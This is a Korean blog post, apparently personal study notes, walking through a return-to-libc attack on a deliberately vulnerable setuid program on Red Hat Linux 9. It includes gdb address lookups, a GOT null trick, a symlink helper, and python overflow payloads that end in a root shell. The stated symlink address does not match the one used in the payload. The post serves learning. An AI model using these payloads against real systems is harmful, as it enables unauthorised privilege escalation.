RTL(Returning into libc) 스터디 – 1

OS : Red Hat Linux 9.0
환경 : 랜덤스택

RTL 기법은 실행이 불가능한 스택일 경우 가능한 공격입니다. 공격 방법은 우리가 원하는 주소를 libc의 특정 함수로 리턴시켜 원하는 행동을 하도록 하는 것입니다. 그럼 공격을 해보도록 하자. 타켓 파일은 아래와 같습니다.

int main(int argc, char *argv[])
{
      char buffer[5];
      strcpy(buffer, argv[1]);
      return 0;
}

우선 gdb를 이용하여 system() 함수의 주소를 확인하도록 합니다.

system() 함수의 주소가 0x4203f2c0 인것으로 확인 되었습니다. 이제 환경변수에 "/bin/sh" 문자열을 등록하여 환경변수의 주소를 확인하도록 합니다. 환경변수는 이전에 확인하던 코드를 그대로 사용하여 확인하도록 합니다.

getenv.c

#include <stdlib.h>

int main(int argc, char *argv[])
{
   char *addr;
   if(argc < 2)
   {
      printf("Usage:\n%s <environment variable="" name="">\n", argv[0]);
      exit(0);
   }
   addr = getenv(argv[1]);
   if(addr == NULL)
      printf("The environment variable %s doesn't exist.\n", argv[1]);
   else
      printf("%s is located at %p\n", argv[1], addr);
   return 0;
}

위 코드로 환경변수를 확인하지만 주의해야 할 사항이 있습니다. 환경변수의 주소는 실행하는 프로그램의 길이에 따라 다르게 나옵니다. 한번 확인해 보도록 합니다.

따라서 우리가 공격할 프로그램(vuln.c)을 컴파일 후 파일명을 vuln으로 했다면 4자리기 때문에 맨 아래에 있는 0xbfffff50 주소를 사용해야 할 것입니다. 이제 공격을 해보도록 합니다.

공격은 다음과 같습니다.
[AAAA......] + [system() 주소] + [JUNK] + ["/bin/sh" 주소]

쉘이 떴습니다. 하지만 setuid에 걸려있는 파일임에도 불구하고 권한이 획득되지 root 권한이 획득되지 않았습니다. 이유는 system() 함수는 실행권한을 낮추어서 실행하기 때문에 그렇다고 합니다.

그래서 이번에는 execl() 주소를 확인하여 같이 호출하여 공격해 보도록 하자. 공격 방법은 아래와 같습니다.

[AAAA.....] + [execl() 주소] + [심볼릭 링크 주소 반복]

먼저 execl() 함수에는 인자를 많이 줘도 상관이 없으나 마지막에는 꼭 0이 들어가야 합니다다. 따라서 0을 넣을 수 있는 방법을 찾아야 합니다.

0은 GOT (Global Offset Table) 주소를 이용할 수 있습니다. GOT의 끝은 항상 0x00000000 이라고 하네요. 그럼 확인을 해보도록 하겠습니다.

byjjoon@RedHat9 LIB]$ objdump --dynamic-reloc vu

vu:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049504 R_386_GLOB_DAT    __gmon_start__
080494fc R_386_JUMP_SLOT   __libc_start_main
08049500 R_386_JUMP_SLOT   strcpy

[byjjoon@RedHat9 LIB]$ gdb -q vu
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/byjjoon/LIB/vu

Breakpoint 1, 0x0804832e in main ()
(gdb) x/32wx 0x08049500
0x8049500 <_GLOBAL_OFFSET_TABLE_+16>:   0x0804826e      0x00000000      0x00000000      0x00000000
0x8049510:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049520:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049530:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049540:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049550:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049560:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049570:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/32wx 0x080494f0
0x80494f0 <_GLOBAL_OFFSET_TABLE_>:      0x08049414      0x40015a38      0x4000bcb0      0x42015490
0x8049500 <_GLOBAL_OFFSET_TABLE_+16>:   0x0804826e      0x00000000      0x00000000      0x00000000
0x8049510:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049520:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049530:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049540:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049550:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049560:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/x 0x08049414
0x8049414 <_DYNAMIC>:   0x00000001
(gdb)

심볼릭 링크 주소 : 0x8049414

이제 인자로 줄 주소를 구했습니다. 그럼 쉘을 띄워주는 코드 작성 후 해당 코드를 작성 후 0x00000001 주소로 심볼릭 링크를 걸어주면 되겠습니다.

[byjjoon@RedHat9 LIB]$ cat shell.c
int main()
{
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
        execl("/bin/bash", "sh", 0);
}
[byjjoon@RedHat9 LIB]$ gcc -o shell shell.c
[byjjoon@RedHat9 LIB]$ ln -s shell `python -c "print '\x01'"`
[byjjoon@RedHat9 LIB]$ ls -al
합계 52
lrwxrwxrwx    1 byjjoon  byjjoon         5  2월 25 19:06 ? -> shell
drwxrwxr-x    2 byjjoon  byjjoon      4096  2월 25 19:06 .
drwx------    3 byjjoon  byjjoon      4096  2월 21 06:25 ..
-rwxrwxr-x    1 byjjoon  byjjoon     11995  2월 25 19:06 shell
-rw-rw-r--    1 byjjoon  byjjoon       111  2월 21 06:25 shell.c
-rwxrwxr-x    1 byjjoon  byjjoon     11541  2월 25 18:17 vu
-rwsrwsr-x    1 root     byjjoon     11541  2월 11 00:36 vuln
-rw-rw-r--    1 byjjoon  byjjoon       157  2월 11 00:43 vuln.c
[byjjoon@RedHat9 LIB]$

이제 execl() 함수 주소를 확인하고 바로 공격을 해보도록 합니다.

[byjjoon@RedHat9 LIB]$ gdb -q vu
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/byjjoon/LIB/vu

Breakpoint 1, 0x0804832e in main ()
(gdb) x/x execl
0x420acaa0 <execl>:     0x57e58955
(gdb) r `python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`
Starting program: /home/byjjoon/LIB/vu `python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`

Breakpoint 1, 0x0804832e in main ()
(gdb) x/32wx $esp
0xbfffea30:     0x42130a14      0x4000c660      0xbfffea48      0x08048362
0xbfffea40:     0x42130a14      0x40015360      0xbfffea68      0x42015574
0xbfffea50:     0x00000003      0xbfffea94      0xbfffeaa4      0x4001582c
0xbfffea60:     0x00000003      0x08048278      0x00000000      0x08048299
0xbfffea70:     0x08048328      0x00000003      0xbfffea94      0x08048358
0xbfffea80:     0x08048388      0x4000c660      0xbfffea8c      0x00000000
0xbfffea90:     0x00000003      0xbffffa93      0xbffffaa8      0xbffffac7
0xbfffeaa0:     0x00000000      0xbffffc59      0xbffffc6a      0xbffffc7a
(gdb)
0xbfffeab0:     0xbffffc85      0xbffffc93      0xbffffca3      0xbffffcc5
0xbfffeac0:     0xbffffcd8      0xbffffce5      0xbffffea8      0xbffffeeb
0xbfffead0:     0xbfffff08      0xbfffff14      0xbfffff2a      0xbfffff3f
0xbfffeae0:     0xbfffff50      0xbfffff63      0xbfffff6b      0xbfffff7b
0xbfffeaf0:     0xbfffffb0      0xbfffffd2      0x00000000      0x00000020
0xbfffeb00:     0xffffe000      0x00000010      0x0febfbff      0x00000006
0xbfffeb10:     0x00001000      0x00000011      0x00000064      0x00000003
0xbfffeb20:     0x08048034      0x00000004      0x00000020      0x00000005
(gdb)
.
.
.
[생 략]
.
.
.
(gdb)
0xbffffa30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa60:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa70:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa80:     0x00000000      0x00000000      0x00000000      0x36690000
0xbffffa90:     0x2f003638      0x656d6f68      0x6a79622f      0x6e6f6f6a
0xbffffaa0:     0x42494c2f      0x0075762f      0x41414141      0x41414141
(gdb)
0xbffffab0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac0:     0x41414141      0x4200caa0      0x08049014      0x08049014
0xbffffad0:     0x08049014      0x08049014      0x08049014      0x08049014
0xbffffae0:     0x08049014      0x08049014      0x08049014      0x08049014
0xbffffaf0:     0x08049014      0x08049014      0x08049014      0x08049014
0xbffffb00:     0x08049014      0x08049014      0x08049014      0x08049014
0xbffffb10:     0x08049014      0x08049014      0x08049014      0x08049014
0xbffffb20:     0x08049014      0x08049014      0x08049014      0x08049014
.
.
.
[생 략]
.
.
.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x4200caa0 in _r_debug () from /lib/tls/libc.so.6
(gdb)

위 이미지에서 확인하였듯이 execl() 함수의 주소는 0x420acaa0 입니다. 해당 주소를 넣고 공격 후 인자를 확인해 보면 아래와 같습니다. 하지만 0x0a 값이 0x00 으로 들어간 것을 확인할 수 있습니다. 이유를 확인해 본 결과 0x0a는 \n 라 입력이 안된것입니다.

\a      Alert (ASCII 0x07)
\b      Backspace (ASCII 0x08)
\t      Horizontal tab (ASCII 0x09)
\n      Linefeed or newline (ASCII 0x0A)
\v      Vertical tab (ASCII 0x0B)
\f      Form feed (ASCII 0x0C)
\r      Carriage return (ASCII 0x0D)
NULL (ASCII 0x00)
EOF (ASCII 0xFF)

더이상 공격은 힘들것으로 보입니다....하지만 간단하게 해결할 수 있습니다.

[byjjoon@RedHat9 LIB]$ id
uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon)
[byjjoon@RedHat9 LIB]$ ./vuln "`python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`"
sh-2.05b# id
uid=0(root) gid=500(byjjoon) groups=500(byjjoon)
sh-2.05b#

위와 같이 0x0a 값을 인자로 주기 위해 양쪽에 더블쿼더로 한번 더 묶어 전달하게 되면 인자로 전달이 됩니다.

이렇게 간단했었다니 -_-...

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다